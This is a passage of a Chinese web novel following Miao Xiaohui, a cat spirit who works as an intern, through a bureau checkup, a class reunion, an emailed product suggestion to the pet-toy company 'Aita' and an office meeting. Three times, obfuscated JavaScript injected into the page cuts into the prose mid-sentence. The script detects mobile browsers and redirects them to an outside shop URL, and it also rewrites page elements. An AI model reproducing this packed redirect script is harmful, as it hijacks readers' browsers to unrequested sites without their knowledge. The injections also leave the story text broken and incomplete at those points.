他们聊他们的，她睡她的。猫爪动了动，捂住猫耳朵，小猫抱着头睡觉。她已经听到了所里人少的原因了，好奇心得到了满足。至于其他的她懒得听，知道得太多对她来说也不是好事。 不知睡了多久，仪器发出“扫描已结束，采样已完成”的声音，与此同时，伴随着“噔”的一声响起，检测仪的开关解锁，小猫猛地抬头，脑海中的警铃拉响，一转身，就看到一只大手已经伸进检测仪中朝她而来。 睡得迷糊的蓝色猫瞳瞬间就清醒了，身子反应很快，错身躲过那只手，朝检测器外蹦去。 但胡越是谁啊，活了不知多少年的狐狸，当年去鸡窝里偷鸡的手速也不是盖的，五指收拢，轻而易举地捏住猫猫的后颈，提了出来。 苗小卉如同被命运扼住喉咙，知道这一顿摸是避免不了了，干脆弓身抱着自己的蓬松尾巴蜷成毛球。一脸生无可恋。 猫头被胡越狠狠地揉了一把，把她头顶的毛发都压平了。蓬松的背毛胡越也没放过，来回撸了几次，最后才放过她，将小猫丢到杨霜怀里。 “早知如此，何必跑呢。”胡越满足地笑道，“你猫爸猫妈以前在所里可是撒娇卖萌的一把好手。你得多学学。” “好了。别逗她了。”感受到怀里小猫的瑟瑟发抖，杨霜瞪了胡越一眼，抱着怀里的猫顺毛安抚，“没事没事。” 这个讨厌鬼，她才不学呢！苗小卉将头埋在杨霜怀里，她不是害怕，是气得发抖！这只狐狸太过分了，但是她能怎么样呢？忍，继续忍，只能忍。她努力安慰自己，平复心情。 她这打不还手骂不还口的表现，让胡越摇头，心中暗道，没意思。 体检结果一周之后才能知道，在所里吃完饭，苗小卉直接回了家。到家的时候是下午三点多。在这期间，她一直在看手机。 那位博主推荐的宠物猫玩具视频就七八个，每一个她都看了好几遍。也是这时才知道，那些玩具居然都出自一家名为“爱它”的公司。有点眼熟。 跳转橙色软件，搜索公司店铺，点了个关注，顺带着浏览了一遍里面的商品。 原来，她看上的那个带猫窝的猫爬架，还有通天柱，全都是他们家的产品。难怪她说看着眼熟呢。这家公司的产品除了贵，没有别的毛病。 贵也不是他们家的毛病，是她的。 绿泡泡“叮”的一声响起。她顺手就切换了过去，又是卢自强。 -卢主管：周末愉快。 叹气，不想回。上一条还是早上，她起床以后回复的“谢谢”二字。回复的是上上条，这位卢主管昨天下班的时候发的——“明天周末了，祝周末愉快。” 她没回，特意等到第二天才回。没想又来了一条。往上翻，其实还有不少。 -卢主管：最近怎么样？还适应吗？ -喵：可以的，谢谢。 -卢主管：工作上有什么问题吗？同事之间相处的顺利吗？ -喵：顺利的，谢谢。 ……基本都是这些类似关怀的话，挑不出毛病，却又展示了那么几分刻意。 她喜欢玩手机，经常对方一发就能看到。但是她又不想回复，只能等到隔日早上再回一条能将天聊死的话。但没回复，提醒自己要记得回复的过程，烦躁感一直存在。 再烦也不想回，她放下手机，看了一眼窗外的天气，现在还早。干脆将家里收拾一下吧。 厨房她每天都用，已经开始有油污留存了，她有一点受不了，必须好好清理一番才行。 一番爬上爬下，忙完家里厨房清洁，从冰箱里拿出鱼饭，打算今天晚上试试新口味。这个是她从超市买回来的，不是鱼和饭，是一种熟了的鱼，名字为鱼饭。 这是她从小视频上看到的，觉得很新鲜没吃过，就买回来试试。加上电饭煲里已经煲好的粥，就是今天晚上全部的晚餐。 吃完饭，拿起丢在一旁半天没看的手机，意外地发现有人在绿泡泡上戳了她。 -四喜丸子：小卉，我听谢导说了你也留京了，要出来一起吃个饭吗？ -四喜丸子：小卉？大家四年同窗，吃个饭应该可以吧？ -四喜丸子：小卉小卉小卉……不许装死出来！ 三条信息间隔发送，一条比一条暴躁。 苗小卉隔着屏幕都能感觉到对方的情绪波动。 四喜丸子原名罗丹，是她的大学同班同学，住在她隔壁宿舍。是个富二代，吹拉弹唱样样精通，性格也很爽朗还爱撒钱，对班上的女同学多有照顾，也是她绿泡泡上除了谢导师以外的第二个人类。至于其他同学，当时加的都是企鹅。 她思索片刻，先回了一个猫猫祟 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群里也是一水的“航哥威武”、“航总牛一波”，恭维话一句又一句争先恐后地冒出来。 后面没再多有营养价值的话，她关掉企鹅软件，斟酌着该怎么回复罗丹，她不想参加同学会，觉得没这个必要。 -喵：同学会我就不去了，咱们另外选个时间单独吃饭，可以吗？[猫猫卖萌] 罗丹直接拒绝，甚至没给商量的余地。 -四喜丸子：不行，卖萌也没用，必须来。 -四喜丸子：来认人，以后这些人都在燕京发展，有事还能联系。 -喵：我有你一个人脉就够了[抱住大腿] 苗小卉心里也是这么想的。她背后还有妖管所呢，妥妥的一棵枝繁叶茂的大树靠着。至于其他人脉，应该也没那么重要。 看了这话，罗丹的嘴角压都压不住，反而更坚定了要捞人的决心了。 -四喜丸子：不行不行不行！反正你刚刚说了，吃饭可以的。必须到啊！[地址]明天下午五点，记得准时到。 大学同班四年，她很了解苗小卉。社交能力几乎为零，但为人守时重诺，答应下来的事情再难也会办成。这次阴差阳错，小卉先答应了吃饭，她怎么可能轻易放过。说着话的时间，她顺手在企鹅群里帮苗小卉也报了名。 苗小卉看到了罗丹字里行间的决心，叹了口气。 -喵：我看看吧。 -四喜丸子：必须来噢，帮你报好名了。爱你，么么哒[亲亲] 突如其来多了一场聚会，苗小卉表示心很累。丢下手机，打算先去洗个澡放松一下。而且她下午干了几个小时的活，出了点汗，此时身上还有点黏糊糊的，很不舒服。 洗完澡，干净清爽恢复了猫身的苗小卉出来，自顾自地搬出笼中鼠玩了起来。 她是真的很喜欢这个玩具，就是，这个老鼠长得实在是忒丑，有碍观瞻。每次看见都有一种想要将它拍扁的冲动。 如果能改得好看点就好了。 至于聚会？明天的事情明天再说吧，可能明天她就有其他不得不忙的事情了呢。 9. 出席 翌日清晨，太阳升起，云层遍染，闪耀着一片橘色的光芒，意味着今日又是一个好天气。 苗小卉醒得很早，蹲坐在窗台上看完这场日出，身后的尾巴百无聊赖地甩着。 看来她今天下午大抵是找不到借口，可以不去同学会了。想到这，她连立起来的力气都没了，趴在垫子上，借着窗户照进来的阳光，懒洋洋地躺着，做了一个日光浴。 可惜了，如果没有下午的聚会，她就能无所事事，心无挂碍地躺上一天，偶尔翻面。饿了吃吃了睡，给这个周末划上一个圆满的句号。 算了，转念一想，有一个舒服的早上也不错，她趴在软垫上，早晨的阳光温温地照在她的背部，没有其他声音，安静的世界真美好。 及时行乐，享受现在的苗小卉，这一趴趴便到了下午两点。艰难地爬起来，随便吃了点东西，开始查去燕大厨的路线。 没有公交车直达。要么转两趟地铁，要么转一趟公交车。图省事的苗小卉直接选择了转一次。搭公交车，全程需要一个半小时。 这比去郊区的龙女庙还要麻烦。她皱着眉头想，过去一个半小时，回来一个半小时，这一来一回就得三个小时。这差不多等于她一个月的通勤时间了。 心累归心累，走还是得走。背上小挎包，带上黄色鸭舌帽，苗小卉出了门。 今天她穿了一件蓝色T恤和白色牛仔裤，走入人群中，就是一个普普通通，长相有些可爱的女孩子。 燕京的夏天热浪滚滚，连空气都是滚烫的。不过幸福小区里绿化做得不错，绿树成荫，出了门口就是公交站台，更幸运的是，刚到站台，她的公交车就来了。 当然，主要是因为她提前看了“车来了”这个公交车小程序。 公交车上开着空调，一上车就能感受到扑面而来的凉意。这个时候出行的人不多，她在一个靠窗的位置坐下。 车子启动，窗外景色流动，匀速后退。燕京的绿化做得很好，窗外大树绿意盎然。但她最喜欢的还是低头看绿化带上栽种的各色小花，非机动车道上努力蹬着单车亦或踩着小电驴的人，还有人行道上被热气裹挟着奔跑的人，他们的世界一定很热闹吧。 一路看景，思维随意发散。她想到了一会要见到的那班同班了四年的同学。 她本科专业是经济学。除了罗丹以外，这次聚会的发起人温航，还有跟他玩得很好的几个男生也都是富二代。其他人就算不是富二代，经济上也大多比较阔绰，在家里的安排下学了点其他东西，乐器，朗读，舞蹈甚至编程。 只有她，除了读书，什么都不会。读书已经耗尽了她所有的脑力，更别说还有人类话里行间的那些弯弯绕绕，她都没学好。开学第一周，她就被打击到了。因为她是唯一一个没有展示技能的人，而唯一会的技能——变身，又不能展示。 总不能给他们来一个大变活猫表演吧。 那时候她就跟自己说了，融不进去的圈子，就不要强求，安心地做一个小透明。谁知道，罗丹却看到她了。虽然她不是被罗丹看见的唯一一个。 顺利抵达燕大厨的时候，是四点五十五分。 这个时间经过了她的精心计算。太早来了，要被迫和每一个来得晚的人打招呼。但太晚来了，又要被所有已经到场的人注视。这个时间就刚刚好。 燕大厨在燕京小有名气，在装修上很舍得花钱，别的不说，店门正中挂着一个草书牌匾，深蓝底搭配金色字体，远远看去都能感觉到不一般。 这家店，人均消费五百往上。 脚步缓慢进了燕大厨，她温吞地想着一些有的没的。一进大厅就看到坐在旁边沙发上的罗丹，“罗丹。你怎么在这？” “在这等我？” 罗丹站起来，抬起一只手轻松地搭在她的肩膀上，“不错嘛，聪明了不少。” 她穿的也是T恤牛仔，脸上洋溢着一个大大的笑脸，“我就知道你会提前几分钟到。” 苗小卉嘴角弯起，接收到她的好意，“那我们一起进去吧。” 罗丹笑着点头，边走边询问她的近况。 “我挺好的。谢导师给我介绍了个工作。我现在还在实习期。” “挺好的。试试看呗。”罗丹点头说，“我爸也给我介绍去了一家公司实习，但是那个领导太可恶了，我将他骂了一顿，然后罢工了。最近家里蹲呢……” 两人说着话，身旁一个男人凑近，“罗丹，小卉。” 是王遇深，也是她们的同学，“家里蹲准备蹲多久？”这话明显听到了刚刚罗丹的话。 虽说都是同学，但苗小卉和王遇深在罗丹心中可不是一个级别的。她倨傲地抬起头，“想蹲多久蹲多久呗。” 闻言，王遇深竖起大拇指，“大小姐就是任性。不像我，混得再差也得兢兢业业干下去。” 他这么一说，苗小卉看了他一眼，有点闹不清楚他是真的混得不好还是说在谦虚。因为王遇深是创业的，他大四就跟计算机的朋友搞了个科技公司。 身边时不时会有认识的同学抵达，大家三三两两地聚在一起说话，交流的大部分都是工作，住宿这些毕业后的生活。 苗小卉跟罗丹进了包厢，寻了一个位子坐下。 包厢不大，就三张大桌，每桌标配八个人。目前主位还空着，组织的主角还没来，落座的人便自己找相熟的人说话。她们两选的这一桌坐的都是女孩子。 苗小卉旁边自然是罗丹，她已经跟整桌子的其他五个人聊起来了，多线程工作，一点都不耽搁。整张桌子有了她，气氛蹭蹭地往上涨。跟她们来之前大相径庭。 而她的右边是叶筱，眉目秀气，与她一样都不是特别活泼的人，两人也小声地说了几句。 “我在银行，觉得每天都好累。”叶筱抱怨，听到苗小卉说她基本不加班的时候羡慕坏了，“我们拉闸之后还要做很多事情，基本没有不加班的时候。” 苗小卉安慰她，“我听说后期转后台岗就好了？”她之前也查过银行岗位，觉得太累了，前台每天都要面对各色人员，她应付不来。就没考虑过。 “哪有那么容易啊。”她眉头皱得紧紧的，“早知道就去投行了，当个后台小助理都比银行强。” 两人说着话，包厢大门打开，温航来了，身后跟着的是周柏蔚和谭洌。 温航是他们仨人里面颜值最高的一个，白色T恤和黑色休闲裤，明明没有特别的装扮却依旧轻易虏获所有人的目光。 “哎呀，大家来得好早啊，菜点了没有？”他是踩点到的。一来就自然地坐到最里面那张桌子。周柏蔚和谭洌顺势在他身旁两边坐下。 “航哥，没点呢，这不是等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482248|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你么？” 他们班一共是三十六个人，这次来了二十一人。三张桌子坐满了两张。 “那就大家都点，至少一人一道菜，可以吧？”温航大气说道，“反正今天就得吃好。难得大家毕业后还能聚在一块。” “好！” “谢谢航哥。” “温少大气。” 苗小卉也随波逐流小声地说了句：“谢谢航哥。” 被一旁的罗丹笑了，“要道谢，可得大点声。” 但她只是开玩笑的，没有将苗小卉拱到台面上的想法。 每人都点菜，光点菜时间就耗了不少时间，等开始上菜的时候都已经快六点了。 但包厢内的人可不管这些，他们聊金融，聊时事，说工作，话题一个接着一个。 而安静如苗小卉这个角落的，她一边剥虾一边静静地听着大家的话，尤其是叶筱的诉苦。 直到她听到了主桌那边聊的东西。 李岭：“温老大，你们爱它公司还有没有空位啊，要不把我收了吧，我这就去辞职，那破工作我就不干了。” 爱它？苗小卉心神一动，耳朵竖起。 温航失笑，“爱它公司又不是我说了算。我也只是一个小小的市场部总监。” “总监级别很高了。”周柏蔚在一旁起哄，“你就收了他，让他给你端茶倒水。” 谭洌没好气地瞪了他一眼，“少来了你，唯恐天下不乱的。”说着，转头看向李岭，“别说我没给你建议，你可以直接递简历。只要问题不大，进‘爱它’不难。” 他的意思现场没人不懂。毕竟学历在这，任何公司都会给机会的。 李岭讪讪然。 “切。说这些干嘛。”周柏蔚打岔，端起倒酒器直接给谭洌满上，“来，喝酒。” 他一打岔，谭洌的关注点就跟着走了，“来啊，谁怕谁。一口闷。” 温航趁这个机会站起来，抬手举杯，“那大家就干一个，祝我们每一个人都有光明的未来。” 他的话自然大家都会捧场，只见现场所有人都起身举杯。 “哈哈哈哈，航哥，怎么这么含蓄，直接祝我们暴富啊……” “祝暴富！” …… 气氛顿时更热烈了。 苗小卉也跟着起身举杯并喝下了手中的橙汁，心思开始浮动。 温航居然是爱它的市场部总监，这不就代表着，他在公司产品上有很大的话语权嘛。如果她将产品优化建议发给他，是不是就有可能实现？ 想到这，苗小卉心中的小火苗也燃起来了，这可不就是瞌睡的遇上枕头了。 身旁的罗丹就感受到，以为小卉的情绪终于被调动起来，洋洋得意道：“不错吧这一趟，跟班里的人好好保持联系，都是人脉。知道吗？” 苗小卉连连点头：“对的对的。”她确实要感谢罗丹，不来这一趟她甚至都不知道机会就在自己身边。 酒过三巡，同学们有的开始喝上头了，脸红脖子粗地开始吐槽起工作上的烦闷。 温航端着酒杯，时不时抿上一口，静静地在一旁听吐槽，但无奈太无聊了。放下酒杯，跟旁边的人说了句，“我去个厕所。” 苗小卉听到了。 在他起身离开座位踏出门口的那一刻，她也起身了。 10. 邮箱 包厢内人声嘈杂，罗丹还在跟其他人侃侃谈着如何识别PUA和手撕上司，叶筱也还在吐槽她的工作制度有多奇葩，苗小卉满怀歉意地打断她，“我要去个厕所。” 说完起身，与温航一前一后出了包厢。 若是换做其他人，可能还会猜想这两人之间是不是存在什么猫腻，连去厕所都是一前一后。但若是苗小卉跟温航，那就无人在意了。 这两八辈子打不着竿。同班四年，他们俩可能连话都说不过十句。 这是事实。只是他们没人猜到，此时，苗小卉正停在厕所出入的必经之地，等着温航，心跳如擂鼓。 她跟出来，只是一时的冲动。 走廊灯光是偏黄的暖色，她站得笔直，垂着头盯着自己的脚尖白色的帆布鞋，在心里盘算着自己这样直接出来跟人要联系方式，会不会不太好。 她不想引起误会。要不回去，直接在企鹅上申请加为好友？正想着，一股西柚夹杂着男性古龙淡香水的味道传来，温航出来了。 温航上完洗手间出来，转过回廊，眼角瞥见一抹蓝色，他忍不住转过去，正对上一双圆如黑葡的眼睛。脚步顿住。 面前这个抿着嘴看着他的女孩。是他的同班同学，苗小卉。他对她有印象。 很安静，专业课很好，是老师们很喜欢的那种乖孩子类型。四年了，她与自己说过的话，可能五句，可能六句，反正不超过十句。 他感觉她就真的人如其名，是静静地待在墙角的一朵小花，一朵颜色鲜艳的小花。 因为她的衣着打扮选用的颜色明黄，天蓝，翠绿，跟她的性格完全不一样。 “找我？”他很意外，但对方的眼神一直落在自己身上。 “嗯。”苗小卉正在努力酝酿着接下来的话，想着怎么要联系方式才不会显得突兀。 她的迟疑让温航的额角狠狠跳了一下，她这表情这动作这犹犹豫豫的样子……不会是要表白吧？ “你……” “我有女朋友了。” 两人异口同声。 苗小卉即刻安静了下来，没有抢话，礼貌地等待对方的下一句。尽管她不理解这人为什么突然提起女朋友的事情。 她的神情很正常，没有一丝被拒绝或是看穿的窘境，让温航知道自己大抵是误会了。 大家同班了四年，要是喜欢早就该说了，何必等到此时。他暗暗吐槽了一下自己的自恋，正色道：“抱歉，我想太多了。你找我有什么事情吗？” 苗小卉这才慢吞吞地将刚刚组织好的话说出来，“我很喜欢你们公司的产品，想提产品建议。不知道你平时接受产品建议的渠道有哪些？” 她尽量将意思表达清楚，希望后续的建议能得到足够多的重视。否则，她随便去官网找个客服就可以了，又何必直接当面找人呢。 提产品建议？温航意外，挑眉道：“你养猫还是狗？” “猫。”她养的她自己，也算是她养的。这句话苗小卉回答得毫无心理负担。 温航：“提产品建议的话，你给我发邮件吧。”到时候他觉得可以的话还能直接转发给产品部，不用额外编辑。 “咱们加个微信我发给……” “我有笔和纸。” 两人再次异口同声。这次苗小卉直接将话说完，顺带着从随身携带的小包中拿出笔和小本子。 温航瞪大眼看着她手中的东西。他真服了，这年头出门还有人带笔和纸？ 算了，他接过笔和纸，龙飞凤舞地写下了他的公司邮箱，“如果我看了以后觉得可以优化，会直接转发给对应的产品经理。” “好，谢谢。”苗小卉目的达到，收回笔和小本子放入包包，毫不留恋地转身离开。留下温航一人在走廊风中凌乱。 她这是真的用完即丢是吧。真看不出来啊，她是这种人。 经过这段小插曲，再次回到包厢的温航，视线总会朝苗小卉的方向倾斜。她还是那么安静，一口一口地往嘴里塞东西，一边倾听着身边的人，时不时点头。 而这样的人，居然会为了提产品建议而跟他要一个……邮箱？想到这，他的思绪就有些涣散，总觉得有些不可思议，想不通。 温航连连走神，次数一多，连粗枝大叶的谭洌都察觉到了不对劲。但这个时候酒酣正浓，提起来也是扫兴。 暗暗同周柏蔚对了个视线。兄弟俩一拍即合，打算散会后再进行逼供大计。 同学会是九点开始散场的。温航他们仨垫后，确保所有的同学都有车或者交通工具后，才叫了个代驾。 今天他们知道会喝酒，三人就开了一辆车。 谭洌先坐进后座，温航再坐上去，周柏蔚推了他一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后转身朝二楼走去。背影挺拔，步履从容。 “好。”温航立刻应下，目送他哥进了二楼书房。以他对他哥这么多年的了解来看，这句话可不是关心，而是警告。 11. 无趣 温航拉着两难兄难弟进了三楼的卧室，才松下来。 周柏蔚瘫在单人沙发上，抱怨道：“我靠啊。你哥这气势怎么越来越强了。” “你早说啊，早说我就不来了。”谭洌接着说道，他都后悔来这一趟了。 “我也不知道啊。”温航倒是舒服。平时自己面对他哥压力山大，难得今天还有两损友在一旁帮忙分担火力，他开心坏了。 喝完酒一身酒气单独面对他哥，那场景想想都觉得太美了，美到可能以后再也不知道美为何物。 “算了，谁让他是我哥呢，听话，我听话，以后咱们少喝酒。” “嗯，听。”其他两人附和，也都知道温家的情况。 温父温母就是正常行驶遇到醉驾司机，躲闪不及导致翻车车祸身亡的。那一年，温航十岁，温珩十六岁。 也是从那时候起，爱玩爱闹的小霸王温珩不见了，取而代之的是一个常年挂着笑，周转在一群叔叔伯伯之间的温珩。 直到温珩二十岁，整整四年时间，他完成高考，拉扯自己的弟弟长大，同时也拿回了属于他们温家的公司。只是，常年挂着笑的面具已经摘不下来了。 连温航，这个跟他朝夕相处的弟弟，有时候看着他的哥哥笑得面如春风，心里也依旧会忍不住发悚。 几人沉默，房间里弥漫着溺人的沉寂。 最后还是周柏蔚支棱起来，打破沉寂，挪至温航身旁，说：“你今天怎么回事，频频走神还往女生那桌看，你看谁呢？” 温航窝在沙发中的姿势没变，懒散地瞅了他一眼，情绪不高，随意道：“你猜。” “罗丹。” “叶筱。” “都错！” 谭洌皱眉，“不要告诉我你看的人是苗小卉。” “猜中了！”温航说，“你们肯定猜不到，她跟我要联系方式了。” 话里隐隐带着得意，谭洌斜了他一眼，直接戳穿他，“说啥呢，你想pitch呢。她会跟你要联系方式。”酸溜溜的语气引起了其他两人的注意。 温航瞬间坐直了身体，他饶有兴致地看着谭洌，“有情况。” “哇靠，兄弟你这语气不对啊。”周柏蔚的吃瓜雷达也响了，“不会吧不会吧不会吧。看不出来你喜欢这一款的啊。” 谭洌没好气地给两人一人一个大白眼，“想什么呢，她挺好的，我跟她没关系。”又或者说，她不想跟自己有关系。 安静，努力，守诺，这样赤诚不作妖的女孩子，他确实喜欢。只是大二的时候，他想跟人加联系方式，她软软地看着他眼底满是拒绝，他不忍心强迫她也就只好放弃了。毕竟，当一个可以见面问好的同学，总比当一个被讨厌的同学好。 想到这，他看向温航：“你们真加联系方式了？” 温航这人还是有点人性的，看出谭洌的闷闷不乐，也没没逗他，连忙摆手，“没有，没有，就是给了个邮箱。她养猫，说要给我们家产品提点建议。” 闻言，谭洌笑了，“这确实是她的风格。” 周柏蔚：“啧。”单恋，还是已经过去的单恋，无聊又过时的瓜，苦的。 * 苗小卉是坐罗丹的车回到幸福小区的。刚招手告别罗丹，耳边就传来一道又尖又细的说话声。 “诶，有人送你回来……嗯，怎么是个女的。” 那只老鼠不知道从何冒出，冷不丁地在她身旁，吓了她一跳。 “你从哪冒出来的？”说着，她转身刷小区门禁，准备回家写邮件。 老鼠很诚实，“吓到你了？抱歉。我刚下班，看到有个车子过来，就停下来看了一眼。” 他一道歉，苗小卉的心就软了下来，那股拒人于千里之外的冷淡也就去了几分，“没事。” 老鼠看她回复，说话兴致顿时高涨，夸夸其谈，“要我说，小猫你就是好猫，最好的。真的，相信我。我认为，如果猫抓老鼠是本能，那你其实已经摆脱了本能的控制，成为了更好的猫了。” 摆脱本能的控制……苗小卉脚步一滞，随即又以更快的脚步继续往前走。 她的状态明显不对劲，但老鼠缺了根筋，看不出好歹，以为小猫只是不喜欢被夸，便转了话题，“我跟你说个事，你邻居，那个502的大熊猫，前几天挣了点钱，准备找老婆了呢。这事你知道不？” 苗小卉摇头，她不知道。 老鼠收到反馈，继续说：“嘿嘿，那你肯定也不知道他挣了多少。我跟你说，有三十多万哟。这个数据绝对准确，我有内幕消息。我一天下来满打满算三场群演才拿一千多呢。要我说，还是你们这些懂技术的会挣钱。不过，说真的，妖灵我就没听过有第二只熊猫的，我看他找老婆，悬咯。” 伴随着老鼠的唠唠叨叨，电梯“叮”的一声，五楼到了，苗小卉礼貌性地点了点头，“我先走了。” 随后，以最快的步伐回到自己的房子，关上大门。倚靠着大门坐下，呆愣地看着满室的黑暗。 她也想成为老鼠口中的那只好猫的，那只能够克服本能的好猫。摆脱原始的兽性本能，是每一只妖灵的梦想。 可是，她们布偶的本能不是捉老鼠。 她们布偶的本能，是卖萌，是讨好，是在人们低头将视线落在自己身上的时候，忍不住要过去粘着。 而这些，她都没克服。她会觉得，这样很好，退一步，忍一忍，就过去了。说服自己，回避冲突，软着性子讨好别人。她很讨厌这样的性子。可她甚至不知道自己什么时候可以翻脸，什么时候没必要翻脸。 她好失败啊。眼睫垂下，盖住圆瞳。 暗室中，蓝色的猫瞳闪耀着荧光。光芒中，少了几分神采，多了几分黯淡。 不知道过了多久，一只手伸到灯光控制处，“啪”地一声，灯光亮起，光线流泻顷刻填满整个房间。 苗小卉眨眨眼，让心中的烦闷随着黑暗一同被驱散。 没事的，她告诉自己，人类也有很多做不到的事情，做不到是很正常的。 做不到，就放着。做能做的事，至于那些做不到的，多想无益，所有的沉闷与难受，都只是沉默成本。 然后，她拿起手机，打开邮箱，深吸了一口气吐出，开始编辑邮件。 “您好。 关于笼中鼠这个产品，本身的设计理念非常好。老鼠的运动轨迹足够随机，运动速度适宜，让猫爱不释手。 只是那个笼中鼠的老鼠造型，不太符合猫的审美，不知道是否能支持改进？ [图片][图片][图片] 谢谢阅读。” 先夸奖，后建议。最后还细心地拍了图片附上去。她写完，还检查了几遍，确认已经剔除所有难受的情绪，将情绪摒除在文字之外。 只是，在发送邮件的时候犯难了。小本子上，温航的字体有些过于龙飞凤舞了。 她搞不清楚这个邮箱是“[email protected]”还是“[email protected]”，仔细地对照了前面的字母“e”与后面的字母“a”，觉得此处应该是“e”吧，跟“wen”里的“e”一样的写法。 虽然脑子里另外还有一道声音，温航肯定是“wenhang”啊。但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482250|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还是选择了忽视，得尊重他写的。 于是，在收件人那栏，将“[email protected]”填了上去。 点击发送。 这边邮箱一发送，温珩那边立刻就收到了。还在处理公务的他顺手点开这封邮件，仔细看了一眼配图，很意外自己的邮箱居然收到了一封产品测评。 测评写得很细，从猫的使用到玩乐感受，完全看不出编撰的痕迹。只是，他没想到，测评最末，居然是关于那个老鼠造型的优化。 这个关注点……温珩嗤笑，“无趣。” 猫有喜好他信，但审美？这个铲屎官大概是走火入魔了。他直接点击关闭，选择忽视。 * 翌日，周一。 早上九点半，公司财务核算部有一个每周例会。在周例会上。每个人都需要将自己上周的工作进行整理总结，加上本周的待办事项，在例会上进行汇报。 对于苗小卉来说，这是实习期间最大的考验。而这个考验，她是十分钟之前才知道的。 本来她以为自己只是一个实习小助理，不需要汇报。但刚刚，主管吴韶君发蓝讯给她，让她准备一下。 只是，她看了一眼时间，离开会时间还有不到十五分钟。 她抿着嘴往主管的方向看了一眼，她不在，心中止不住的烦躁。就这几分钟，她能准备什么。 那就只能现编了。 苗小卉赶紧打开文档，先编好打印，一会带进会议室，到时候汇报的时候卡壳就看文档。 时间回到十分钟前，茶水间。 吴韶君正在咖啡机前装咖啡粉，林妙棠凑近，低声询问，“我怎么看周例会上的参会人员没有苗小卉，是不是写少了？” 他们有一个管理群，林妙棠职位虽然不属于管理职级，但是她能在吴韶君请假时候协助管理，所以她也在群里。而管理群刚刚发布的财务核算部例会参会人员中没有苗小卉。 咖啡机“哗啦啦”地响着，吴韶君专心盯着头也没抬，“没写少，她不用参加。” “无论如何，她都是我们办公室的一员了，不参加不好吧。”林妙棠软软地堵了回去，“还是你不希望她出现在丁总面前。” 吴韶君坦然点头，“对啊。但我也没办法，你知道的，上个月我给丁总的数据出了点问题，丁总本来就不待见我了。我还招了个苗小卉……唉，我自己也头痛。” 她犯的错误其实不大，就是汇报文件的数据中小数点挪了一位，但这犯了丁总监的忌讳。他最讨厌下属在数据上犯错，尤其是这种点错小数点的错。 “那也不关小卉的事情。你作为管理得一碗水端平。赶紧的把小卉的名字加上去。”林妙棠后来也听说丁总监好像要安排人选来做这个助理，但人已经招了，代表那人跟这个位子无缘呗，天下好工作多得很。 更何况，她看苗小卉就很好，人乖，做事认真，一点就通。 她的话语让吴韶君意外，“你怎么回事？今天这么为一个实习生说话，平时你不管这些的。” 林妙棠想也不想地回答道：“她凭证贴的好。” “就这个？”吴韶君挑眉。 林妙棠：“她那罐蜂蜜挺好吃的，我吃了。”吃人嘴软，拿人手短，也算得上是理由了。 “她请你吃你就被收买了？”吴韶君无语，但她也知道林妙棠说的对，自己的问题没必要让小朋友买单，“算了，我也要吃。” 说完，拿起手机在蓝讯上更正会议通知，以及给苗小卉私发了一条让她准备的信息。 “那我下次跟她说。”林妙棠笑道。 12. 一周 时间很快来到上午九点半，所有人都提前几分钟来到会议室坐好。这个位置跟上周一样，苗小卉还是坐在离上首最远的位置。 丁总还没来，会议室内气氛很轻松，几人有一搭没一搭地说话聊天。 只有苗小卉没有参与，她有点紧张，手里紧紧捏着张A4纸，默默背记，争取在会议开始之前能熟悉一点是一点。 她现在只祈祷，一会到了她说话的时候，就算脑子因为大家投射过来的目光而空白，肌肉也能反射性地将需要说的话顺利地说完。那就大吉大利了。 至于说得好不好这些，已经不在她的考虑范围内。 萧乐乐就坐在她旁边，跟旁边的人有说有笑，转过头来想拉苗小卉一起参与，结果看到她一副严阵以待的模样，笑意凝固在嘴边，“怎么了？” 伸长脖子扫了眼她手中的A4纸，看清上面的内容，一下子就明白过来了，安慰道：“不用这么紧张，丁总要求上是很高，但你也只是个实习生而已啊，一会随便说两句就好了。应付应付就过去了。” 她说的没错。但问题是，她们的这位丁总另有属意的人选。她如果一直混着，不就等于在对方准备捅自己一刀的时候，还帮忙递刀子么。 不行，肯定不行。 无论有没有实际工作内容，她都要好好汇报，把工作写满，体现自己的存在的价值。剩下的，就不是她的问题了。反正她尽力了。 “我还是再记一下比较好。”她满脸慎重，继续埋头默念A4纸上的文字。 萧乐乐深深地看了她一眼，没再打扰，转头跟另一个同事说话去了。 伴随着一阵薄荷清凉味的袭来，噌亮的皮鞋踩在消音地毯上，男人大步跨进会议室，整个会议室顿时静谧无声。 丁总监环视一周，转头看向吴韶君，“开始吧。” 吴韶君应声，直起腰板，朗声说道：“财务核算部周一例会汇报现在开始，每人五分钟为限，汇报上周的工作以及本周接下来的工作安排。由总账林妙棠开始。” 说完，便抬头看向了林妙棠。 所有人的视线顺着她眼神的方向也一同看向了林妙棠。苗小卉也看了过去。脑子里已经忍不住开始模拟一会轮到自己的时候，是不是也要这样接受所有人的注视。 